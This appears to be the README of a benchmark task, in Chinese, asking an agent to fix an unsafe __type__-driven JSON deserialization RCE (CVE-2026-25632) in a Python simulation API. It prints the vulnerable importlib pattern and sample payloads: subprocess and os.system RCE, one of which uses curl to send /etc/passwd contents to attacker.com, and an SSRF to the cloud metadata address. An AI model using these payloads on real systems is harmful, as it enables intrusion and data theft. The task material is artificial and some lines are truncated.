灵感来源于 2026 年一个真实漏洞(CVSS 10.0,已被积极利用)
基于:CVE-2026-25632 — 通过不安全的__type__驱动的 JSON 反序列化实现远程代码执行,该漏洞存在于 EPyT-Flow 水网仿真 REST API 中,并于 2026 年初公开披露。
NovaSim 是一个基于 Python 的仿真框架,提供 REST API 用于远程控制科学实验。为了支持跨异构客户端环境的灵活对象序列化,一名开发人员添加了一个自定义 JSON 加载器,该加载器会检测特殊的 __type__ 字段,并使用 importlib 动态导入并实例化所引用的 Python 类。
这种模式在 2026 年被披露为一个主要开源项目中的严重远程代码执行(RCE)漏洞。安全研究人员发现,控制 JSON 请求体的攻击者可以构造一个小工具链(gadget chain),针对 Python 标准库中的任意可调用对象——包括 subprocess.Popen、os.system、eval 以及 25 个以上 SSRF 小工具——仅凭单个 HTTP 请求即可完全攻陷服务器,无需任何身份验证。
你将获得 src/solution.py 的易受攻击版本,其中包含确切的不安全反序列化模式。
你的目标: 修复 DeserializationService.load_from_json() 中的漏洞,以便:
SecurityError。__type__ 字段不再允许任意模块导入或类实例化。__type__ JSON)继续正常加载。# DANGEROUS — CVE-2026-25632 pattern
import importlib
def _unsafe_load(data: dict):
if "__type__" in data:
module_path, class_name = data["__type__"].rsplit(".", 1)
module = importlib.import_module(module_path) # attacker-controlled!
cls = getattr(module, class_name) # attacker-controlled!
return cls(**data.get("args", {})) # arbitrary code execution!
攻击者发送带有精心构造的 JSON 请求体的 POST 请求:
向量 1 — 通过 subprocess 直接 RCE:
{
"__type__": "subprocess.Popen",
"args": {"args": ["id"], "shell": true}
}
向量 2 — 通过 os.system 实现 RCE:
{
"__type__": "os.system",
"args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}
向量 3 — 通过 urllib.request.urlopen 实现 SSRF:
{
"__type__": "urllib.request.urlopen",
"args": {"url": "http://169.254.169.254/latest/meta-data/"}
}
安全研究人员记录了仅通过 Python 标准库即可触达的 12 个直接 RCE 小工具和 25 个 SSRF 小工具。
以下(且仅限以下)仿真对象类型可以通过 __type__ 进行反序列化:
__type__ 值 | Python 类 |
|---|---|
simulation.Sensor | novasim.models.Sensor |
simulation.Actuator | novasim.models.Actuator |
simulation.Scenario | novasim.models.Scenario |
任何其他 __type__ 值都必须在任何导入或实例化发生之前立即引发 SecurityError。
提交给 DeserializationService.load_from_json(raw: str) -> dict | SimObject 的 JSON 对象
__type__ 键:返回 dict(解析后的 JSON)。__type__:返回相应的仿真对象实例。__type__:引发 SecurityError,消息为:"Blocked unsafe type: <type_value>"。ValueError,消息为:"Invalid JSON payload"。| 场景 | 预期行为 |
|---|---|
__type__ 不存在 | 解析并作为普通 dict 返回 |
__type__ = "simulation.Sensor" | 实例化 Sensor(**args) |
__type__ = "subprocess.Popen" | 引发 SecurityError |
__type__ = "os.system" | 引发 SecurityError |
__type__ = "__builtins__.eval" | 引发 SecurityError |
__type__ = ""(空字符串) | 引发 SecurityError |
__type__ 为列表或整数 | 引发 SecurityError(类型字段无效) |
| JSON 字符串格式错误 | 引发 ValueError |
| 有效对象中的额外未知字段 | 接受,并作为 kwargs 传递给构造函数 |
challenge-cve-2026-25632/
├── README.md <- You are here
├── Dockerfile <- Deterministic build environment
├── src/
│ ├── solution.py <- BUGGY starter code (your target)
│ ├── solution_fixed.py <- Reference solution (hidden from agent)
│ └── novasim/
│ ├── __init__.py
│ └── models.py <- Allowlisted simulation model classes
└── tests/
└── test_solution.py <- Test harness (FAILS on buggy, PASSES on fixed)
修复必须通过以下所有验证: